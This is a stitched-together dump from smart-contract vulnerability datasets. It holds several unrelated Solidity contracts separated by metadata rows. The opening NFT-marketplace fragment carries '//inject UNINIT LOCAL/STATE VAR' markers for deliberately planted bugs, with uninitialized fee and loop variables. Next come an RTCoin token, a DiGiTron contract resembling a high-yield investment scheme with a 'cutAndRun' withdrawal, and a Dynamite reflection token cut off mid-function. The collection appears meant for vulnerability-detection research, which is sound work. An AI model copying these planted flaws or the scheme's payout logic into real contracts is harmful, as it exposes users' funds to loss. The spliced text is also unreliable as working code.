for (uint i ; i < length; i++) { //inject UNINIT LOCAL/STATE VAR
if (prices[arr[i]].tokenOwner == erc721Address.ownerOf(arr[i])) {
if (prices[arr[i]].fee > 0) {
uint256 eth ; //inject UNINIT LOCAL/STATE VAR
if(prices[arr[i]].isHightlight) eth = eth.add(hightLightFee);
if(address(this).balance >= eth) {
prices[arr[i]].tokenOwner.transfer(eth);
}
}
else if (prices[arr[i]].hbfee > 0) {
uint hb ; //inject UNINIT LOCAL/STATE VAR
if(prices[arr[i]].isHightlight) hb = hb.add(hightLightFee.mul(HBWALLETExchange).div(2).div(10 ** 16));
if(hbwalletToken.balanceOf(address(this)) >= hb) {
hbwalletToken.transfer(prices[arr[i]].tokenOwner, hb);
}
}
resetPrice(arr[i]);
}
}
_withdraw(address(this).balance, hbwalletToken.balanceOf(address(this)));
}
function revenue() public view returns (uint256, uint){
uint256 ethfee ; //inject UNINIT LOCAL/STATE VAR
uint256 hbfee ; //inject UNINIT LOCAL/STATE VAR
for (uint i ; i < arrayTokenIdSale.length; i++) { //inject UNINIT LOCAL/STATE VAR
if (prices[arrayTokenIdSale[i]].tokenOwner == erc721Address.ownerOf(arrayTokenIdSale[i])) {
if (prices[arrayTokenIdSale[i]].fee > 0) {
ethfee = ethfee.add(prices[arrayTokenIdSale[i]].fee);
}
else if (prices[arrayTokenIdSale[i]].hbfee > 0) {
hbfee = hbfee.add(prices[arrayTokenIdSale[i]].hbfee);
}
}
}
uint256 eth ; //inject UNINIT LOCAL/STATE VAR
uint256 hb ; //inject UNINIT LOCAL/STATE VAR
return (eth, hb);
}
function changeCeo(address _address) public onlyCeoAddress {
require(_address != address(0));
ceoAddress = _address;
}
function buy(uint256 tokenId) public payable {
require(getApproved(tokenId) == address(this));
require(prices[tokenId].price > 0 && prices[tokenId].price == msg.value);
erc721Address.transferFrom(prices[tokenId].tokenOwner, msg.sender, tokenId);
prices[tokenId].tokenOwner.transfer(msg.value);
resetPrice(tokenId);
}
function buyWithoutCheckApproved(uint256 tokenId) public payable {
require(prices[tokenId].price > 0 && prices[tokenId].price == msg.value);
erc721Address.transferFrom(prices[tokenId].tokenOwner, msg.sender, tokenId);
prices[tokenId].tokenOwner.transfer(msg.value);
resetPrice(tokenId);
}
function resetPrice(uint256 tokenId) private {
prices[tokenId] = Price(address(0), 0, 0, 0, false);
for (uint8 i ; i < arrayTokenIdSale.length; i++) { //inject UNINIT LOCAL/STATE VAR
if (arrayTokenIdSale[i] == tokenId) {
_burnArrayTokenIdSale(i);
}
}
}
}
| 277,898 | 651 |
5ab8003a2a7057dfe53ccd68d73b386eba4eb6851a2d0ed135db1b87e28ed8ae
| 15,891 |
.sol
|
Solidity
| false |
559006687
|
Sapo-Dorado/FortaKnight
|
b4170216038285b34477a0e05f95450ae7bf4aa1
|
analysis/Contracts/contract_326.sol
| 2,729 | 11,329 |
pragma solidity 0.4.24;
pragma experimental "v0.5.0";
contract Administration {
using SafeMath for uint256;
address public owner;
address public admin;
event AdminSet(address _admin);
event OwnershipTransferred(address _previousOwner, address _newOwner);
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyAdmin() {
require(msg.sender == owner || msg.sender == admin);
_;
}
modifier nonZeroAddress(address _addr) {
require(_addr != address(0), "must be non zero address");
_;
}
constructor() public {
owner = msg.sender;
admin = msg.sender;
}
function setAdmin(address _newAdmin)
public
onlyOwner
nonZeroAddress(_newAdmin)
returns (bool)
{
require(_newAdmin != admin);
admin = _newAdmin;
emit AdminSet(_newAdmin);
return true;
}
function transferOwnership(address _newOwner)
public
onlyOwner
nonZeroAddress(_newOwner)
returns (bool)
{
owner = _newOwner;
emit OwnershipTransferred(msg.sender, _newOwner);
return true;
}
}
library SafeMath {
// We use `pure` bbecause it promises that the value for the function depends ONLY
// on the function arguments
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
require(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
}
interface ERC20Interface {
function owner() external view returns (address);
function decimals() external view returns (uint8);
function transfer(address _to, uint256 _value) external returns (bool);
function transferFrom(address _from, address _to, uint256 _value) external returns (bool);
function approve(address _spender, uint256 _amount) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address _owner) external view returns (uint256);
function allowance(address _owner, address _spender) external view returns (uint256);
}
interface StakeInterface {
function activeStakes() external view returns (uint256);
}
/// @title RTC Token Contract
/// @author Postables, RTrade Technologies Ltd
contract RTCoin is Administration {
using SafeMath for uint256;
// this is the initial supply of tokens, 61.6 Million
uint256 constant public INITIALSUPPLY = 61600000000000000000000000;
string constant public VERSION = "production";
// this is the interface that allows interaction with the staking contract
StakeInterface public stake = StakeInterface(0);
// this is the address of the staking contract
address public stakeContractAddress = address(0);
// This is the address of the merged mining contract, not yet developed
address public mergedMinerValidatorAddress = address(0);
string public name = "RTCoin";
string public symbol = "RTC";
uint256 public totalSupply = INITIALSUPPLY;
uint8 public decimals = 18;
// allows transfers to be frozen, but enable them by default
bool public transfersFrozen = true;
bool public stakeFailOverRestrictionLifted = false;
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) public allowed;
mapping (address => bool) public minters;
event Transfer(address indexed _sender, address indexed _recipient, uint256 _amount);
event Approval(address indexed _owner, address indexed _spender, uint256 _amount);
event TransfersFrozen(bool indexed _transfersFrozen);
event TransfersThawed(bool indexed _transfersThawed);
event ForeignTokenTransfer(address indexed _sender, address indexed _recipient, uint256 _amount);
event EthTransferOut(address indexed _recipient, uint256 _amount);
event MergedMinerValidatorSet(address _contractAddress);
event StakeContractSet(address _contractAddress);
event FailOverStakeContractSet(address _contractAddress);
event CoinsMinted(address indexed _stakeContract, address indexed _recipient, uint256 _mintAmount);
modifier transfersNotFrozen() {
require(!transfersFrozen, "transfers must not be frozen");
_;
}
modifier transfersAreFrozen() {
require(transfersFrozen, "transfers must be frozen");
_;
}
// makes sure that only the stake contract, or merged miner validator contract can mint coins
modifier onlyMinters() {
require(minters[msg.sender] == true, "sender must be a valid minter");
_;
}
modifier nonZeroAddress(address _addr) {
require(_addr != address(0), "must be non zero address");
_;
}
modifier nonAdminAddress(address _addr) {
require(_addr != owner && _addr != admin, "addr cant be owner or admin");
_;
}
constructor() public {
balances[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
function transfer(address _recipient,
uint256 _amount)
public
transfersNotFrozen
nonZeroAddress(_recipient)
returns (bool)
{
// check that the sender has a valid balance
require(balances[msg.sender] >= _amount, "sender does not have enough tokens");
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_recipient] = balances[_recipient].add(_amount);
emit Transfer(msg.sender, _recipient, _amount);
return true;
}
function transferFrom(address _owner,
address _recipient,
uint256 _amount)
public
transfersNotFrozen
nonZeroAddress(_recipient)
returns (bool)
{
// ensure owner has a valid balance
require(balances[_owner] >= _amount, "owner does not have enough tokens");
// ensure that the spender has a valid allowance
require(allowed[_owner][msg.sender] >= _amount, "sender does not have enough allowance");
// reduce the allowance
allowed[_owner][msg.sender] = allowed[_owner][msg.sender].sub(_amount);
// reduce balance of owner
balances[_owner] = balances[_owner].sub(_amount);
// increase balance of recipient
balances[_recipient] = balances[_recipient].add(_amount);
emit Transfer(_owner, _recipient, _amount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
// NON STANDARD FUNCTIONS //
function setMergedMinerValidator(address _mergedMinerValidator) external onlyOwner nonAdminAddress(_mergedMinerValidator) returns (bool) {
mergedMinerValidatorAddress = _mergedMinerValidator;
minters[_mergedMinerValidator] = true;
emit MergedMinerValidatorSet(_mergedMinerValidator);
return true;
}
function setStakeContract(address _contractAddress) external onlyOwner nonAdminAddress(_contractAddress) returns (bool) {
// this prevents us from changing contracts while there are active stakes going on
if (stakeContractAddress != address(0)) {
require(stake.activeStakes() == 0, "staking contract already configured, to change it must have 0 active stakes");
}
stakeContractAddress = _contractAddress;
minters[_contractAddress] = true;
stake = StakeInterface(_contractAddress);
emit StakeContractSet(_contractAddress);
return true;
}
function setFailOverStakeContract(address _contractAddress) external onlyOwner nonAdminAddress(_contractAddress) returns (bool) {
if (stakeFailOverRestrictionLifted == false) {
stakeFailOverRestrictionLifted = true;
return true;
} else {
minters[_contractAddress] = true;
stakeFailOverRestrictionLifted = false;
emit FailOverStakeContractSet(_contractAddress);
return true;
}
}
function mint(address _recipient,
uint256 _amount)
public
onlyMinters
returns (bool)
{
balances[_recipient] = balances[_recipient].add(_amount);
totalSupply = totalSupply.add(_amount);
emit Transfer(address(0), _recipient, _amount);
emit CoinsMinted(msg.sender, _recipient, _amount);
return true;
}
function transferForeignToken(address _tokenAddress,
address _recipient,
uint256 _amount)
public
onlyAdmin
nonZeroAddress(_recipient)
returns (bool)
{
// don't allow us to transfer RTC tokens
require(_tokenAddress != address(this), "token address can't be this contract");
ERC20Interface eI = ERC20Interface(_tokenAddress);
require(eI.transfer(_recipient, _amount), "token transfer failed");
emit ForeignTokenTransfer(msg.sender, _recipient, _amount);
return true;
}
function transferOutEth()
public
onlyAdmin
returns (bool)
{
uint256 balance = address(this).balance;
msg.sender.transfer(address(this).balance);
emit EthTransferOut(msg.sender, balance);
return true;
}
function freezeTransfers()
public
onlyAdmin
returns (bool)
{
transfersFrozen = true;
emit TransfersFrozen(true);
return true;
}
function thawTransfers()
public
onlyAdmin
returns (bool)
{
transfersFrozen = false;
emit TransfersThawed(true);
return true;
}
function increaseApproval(address _spender,
uint256 _addedValue)
public
returns (bool)
{
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender,
uint256 _subtractedValue)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function totalSupply()
public
view
returns (uint256)
{
return totalSupply;
}
function balanceOf(address _holder)
public
view
returns (uint256)
{
return balances[_holder];
}
function allowance(address _owner,
address _spender)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
}
| 283,016 | 652 |
064958e9818654f791ffc2ffd57f99193da76e0e3465fe6666664c8433e953c2
| 13,389 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TT/TTLQNt6WPkxH1U2Csmwzdf1BALf8XPfFUB_DiGiTron.sol
| 3,589 | 10,667 |
//SourceUnit: DiGiTron.sol
pragma solidity 0.5.9;
contract DiGiTron {
using SafeMath for uint256;
uint256 constant public TOTAL_INVEST_MAX = 1000000 trx;
uint256 constant public INVEST_MAX_AMOUNT = 50000 trx;
uint256 constant public INVEST_MIN_AMOUNT = 50 trx;
uint256[] public REFERRAL_PERCENTS = [50, 25, 5];
uint256 constant public PROJECT_FEE = 100;
uint256 constant public PERCENT_STEP = 2;
uint256 constant public PERCENTS_DIVIDER = 1000;
uint256 constant public TIME_STEP = 1 days;
uint256 public totalStaked;
uint256 public totalRefBonus;
struct Plan {
uint256 time;
uint256 percent;
}
Plan[] internal plans;
struct Deposit {
uint8 plan;
uint256 percent;
uint256 amount;
uint256 profit;
uint256 start;
uint256 finish;
}
struct User {
Deposit[] deposits;
uint256 checkpoint;
address referrer;
uint256[3] levels;
uint256 bonus;
uint256 totalBonus;
}
mapping (address => User) internal users;
uint256 public startUNIX;
address payable public commissionWallet;
event Newbie(address user);
event NewDeposit(address indexed user, uint8 plan, uint256 percent, uint256 amount, uint256 profit, uint256 start, uint256 finish);
event Withdrawn(address indexed user, uint256 amount);
event RefBonus(address indexed referrer, address indexed referral, uint256 indexed level, uint256 amount);
event FeePayed(address indexed user, uint256 totalAmount);
constructor(address payable wallet, uint256 startDate) public {
require(!isContract(wallet));
require(startDate > 0);
commissionWallet = wallet;
startUNIX = startDate;
plans.push(Plan(14, 80));
plans.push(Plan(21, 65));
plans.push(Plan(28, 50));
plans.push(Plan(14, 80));
plans.push(Plan(21, 65));
plans.push(Plan(28, 50));
}
function invest(address referrer, uint8 plan) public payable {
require(msg.value <= INVEST_MAX_AMOUNT);
require(msg.value >= INVEST_MIN_AMOUNT);
require(getUserTotalAtStake(msg.sender)<= TOTAL_INVEST_MAX);
require(plan < 6, "Invalid plan");
uint256 fee = msg.value.mul(PROJECT_FEE).div(PERCENTS_DIVIDER);
commissionWallet.transfer(fee);
emit FeePayed(msg.sender, fee);
User storage user = users[msg.sender];
if (user.referrer == address(0)) {
if (users[referrer].deposits.length > 0 && referrer != msg.sender) {
user.referrer = referrer;
}
address upline = user.referrer;
for (uint256 i = 0; i < 3; i++) {
if (upline != address(0)) {
users[upline].levels[i] = users[upline].levels[i].add(1);
upline = users[upline].referrer;
} else break;
}
}
if (user.referrer != address(0)) {
address upline = user.referrer;
for (uint256 i = 0; i < 3; i++) {
if (upline != address(0)) {
uint256 amount = msg.value.mul(REFERRAL_PERCENTS[i]).div(PERCENTS_DIVIDER);
users[upline].bonus = users[upline].bonus.add(amount);
users[upline].totalBonus = users[upline].totalBonus.add(amount);
emit RefBonus(upline, msg.sender, i, amount);
upline = users[upline].referrer;
} else break;
}
}
if (user.deposits.length == 0) {
user.checkpoint = block.timestamp;
emit Newbie(msg.sender);
}
(uint256 percent, uint256 profit, uint256 finish) = getResult(plan, msg.value);
user.deposits.push(Deposit(plan, percent, msg.value, profit, block.timestamp, finish));
totalStaked = totalStaked.add(msg.value);
if(totalStaked <= TOTAL_INVEST_MAX){
emit NewDeposit(msg.sender, plan, percent, msg.value, profit, block.timestamp, finish);
}
}
function cutAndRun() public {
User storage user = users[msg.sender];
uint256 cutAndRunThreshHold = getCutAndRunThreshHold(msg.sender);
uint256 userWithdrawn = getUserWithdrawn(msg.sender);
uint256 contractBalance = address(this).balance;
if (contractBalance < cutAndRunThreshHold) {
userWithdrawn = contractBalance;
}else{
if(userWithdrawn <= cutAndRunThreshHold){
uint256 cutAndRunAvailable = cutAndRunThreshHold.sub(userWithdrawn);
if(cutAndRunAvailable > 0){
msg.sender.transfer(cutAndRunAvailable);
emit Withdrawn(msg.sender, cutAndRunAvailable);
delete user.deposits;
}
}
}
}
function withdraw() public {
User storage user = users[msg.sender];
uint256 totalAmount = getUserDividends(msg.sender);
uint256 referralBonus = getUserReferralBonus(msg.sender);
if (referralBonus > 0) {
user.bonus = 0;
totalAmount = totalAmount.add(referralBonus);
}
require(totalAmount > 0, "User has no dividends");
uint256 contractBalance = address(this).balance;
if (contractBalance < totalAmount) {
totalAmount = contractBalance;
}
user.checkpoint = block.timestamp;
msg.sender.transfer(totalAmount);
emit Withdrawn(msg.sender, totalAmount);
}
function getContractBalance() public view returns (uint256) {
return address(this).balance;
}
function getPlanInfo(uint8 plan) public view returns(uint256 time, uint256 percent) {
time = plans[plan].time;
percent = plans[plan].percent;
}
function getPercent(uint8 plan) public view returns (uint256) {
if (block.timestamp > startUNIX) {
return plans[plan].percent.add(PERCENT_STEP.mul(block.timestamp.sub(startUNIX)).div(TIME_STEP));
} else {
return plans[plan].percent;
}
}
function getResult(uint8 plan, uint256 deposit) public view returns (uint256 percent, uint256 profit, uint256 finish) {
percent = getPercent(plan);
if (plan < 3) {
profit = deposit.mul(percent).div(PERCENTS_DIVIDER).mul(plans[plan].time);
} else if (plan < 6) {
for (uint256 i = 0; i < plans[plan].time; i++) {
profit = profit.add((deposit.add(profit)).mul(percent).div(PERCENTS_DIVIDER));
}
}
finish = block.timestamp.add(plans[plan].time.mul(TIME_STEP));
}
function getUserDividends(address userAddress) public view returns (uint256) {
User storage user = users[userAddress];
uint256 totalAmount;
for (uint256 i = 0; i < user.deposits.length; i++) {
if (user.checkpoint < user.deposits[i].finish) {
if (user.deposits[i].plan < 3) {
uint256 share = user.deposits[i].amount.mul(user.deposits[i].percent).div(PERCENTS_DIVIDER);
uint256 from = user.deposits[i].start > user.checkpoint ? user.deposits[i].start : user.checkpoint;
uint256 to = user.deposits[i].finish < block.timestamp ? user.deposits[i].finish : block.timestamp;
if (from < to) {
totalAmount = totalAmount.add(share.mul(to.sub(from)).div(TIME_STEP));
}
} else if (block.timestamp > user.deposits[i].finish) {
totalAmount = totalAmount.add(user.deposits[i].profit);
}
}
}
return totalAmount;
}
function getUserTotalAtStake(address userAddress) public view returns (uint256) {
User storage user = users[userAddress];
uint256 totalAmount;
for (uint256 i = 0; i < user.deposits.length; i++) {
if (block.timestamp < user.deposits[i].finish) {
uint256 share = user.deposits[i].amount;
totalAmount = totalAmount.add(share);
}
}
return totalAmount;
}
function getUserWithdrawn(address userAddress) public view returns (uint256) {
User storage user = users[userAddress];
uint256 totalAmount = 0;
uint256 diff = 0;
uint256 perSecondProfit = 0;
for (uint256 i = 0; i < user.deposits.length; i++) {
if (user.checkpoint < user.deposits[i].finish) {
if (user.deposits[i].plan < 3) {
if(user.checkpoint > user.deposits[i].start){
uint256 share = user.deposits[i].amount.mul(user.deposits[i].percent).div(PERCENTS_DIVIDER);
uint256 from = user.deposits[i].start;
uint256 to = user.checkpoint;
totalAmount = totalAmount.add(share.mul(to.sub(from)).div(TIME_STEP));
}
}
}
}
return (totalAmount);
}
function getUserCheckpoint(address userAddress) public view returns(uint256) {
return users[userAddress].checkpoint;
}
function getUserReferrer(address userAddress) public view returns(address) {
return users[userAddress].referrer;
}
function getUserDownlineCount(address userAddress) public view returns(uint256, uint256, uint256) {
return (users[userAddress].levels[0], users[userAddress].levels[1], users[userAddress].levels[2]);
}
function getUserReferralBonus(address userAddress) public view returns(uint256) {
return users[userAddress].bonus;
}
function getUserReferralTotalBonus(address userAddress) public view returns(uint256) {
return users[userAddress].totalBonus;
}
function getUserReferralWithdrawn(address userAddress) public view returns(uint256) {
return users[userAddress].totalBonus.sub(users[userAddress].bonus);
}
function getUserAvailable(address userAddress) public view returns(uint256) {
return getUserReferralBonus(userAddress).add(getUserDividends(userAddress));
}
function getUserAmountOfDeposits(address userAddress) public view returns(uint256) {
return users[userAddress].deposits.length;
}
function getUserTotalDeposits(address userAddress) public view returns(uint256 amount) {
for (uint256 i = 0; i < users[userAddress].deposits.length; i++) {
amount = amount.add(users[userAddress].deposits[i].amount);
}
}
function getCutAndRunThreshHold(address userAddress) public view returns(uint256 amount) {
amount = getUserTotalAtStake(userAddress).div(2);
}
function getUserDepositInfo(address userAddress, uint256 index) public view returns(uint8 plan, uint256 percent, uint256 amount, uint256 profit, uint256 start, uint256 finish) {
User storage user = users[userAddress];
plan = user.deposits[index].plan;
percent = user.deposits[index].percent;
amount = user.deposits[index].amount;
profit = user.deposits[index].profit;
start = user.deposits[index].start;
finish = user.deposits[index].finish;
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
}
| 286,990 | 653 |
e7fcc48be44b4533ef078149765fa1f2f0005db58070ce9b7309a225def07145
| 25,351 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/Dynamite-0x6fc19aea7ab20cc8e7e0ed7c174bde877f265cca.sol
| 4,472 | 16,492 |
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Dynamite is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000 * 10**6 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = "Dynamite.finance";
string private _symbol = "TNT" ;
uint8 private _decimals = 9 ;
constructor () public {
_name = "Dynamite.finance";
_symbol = "TNT" ;
_decimals = 9 ;
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
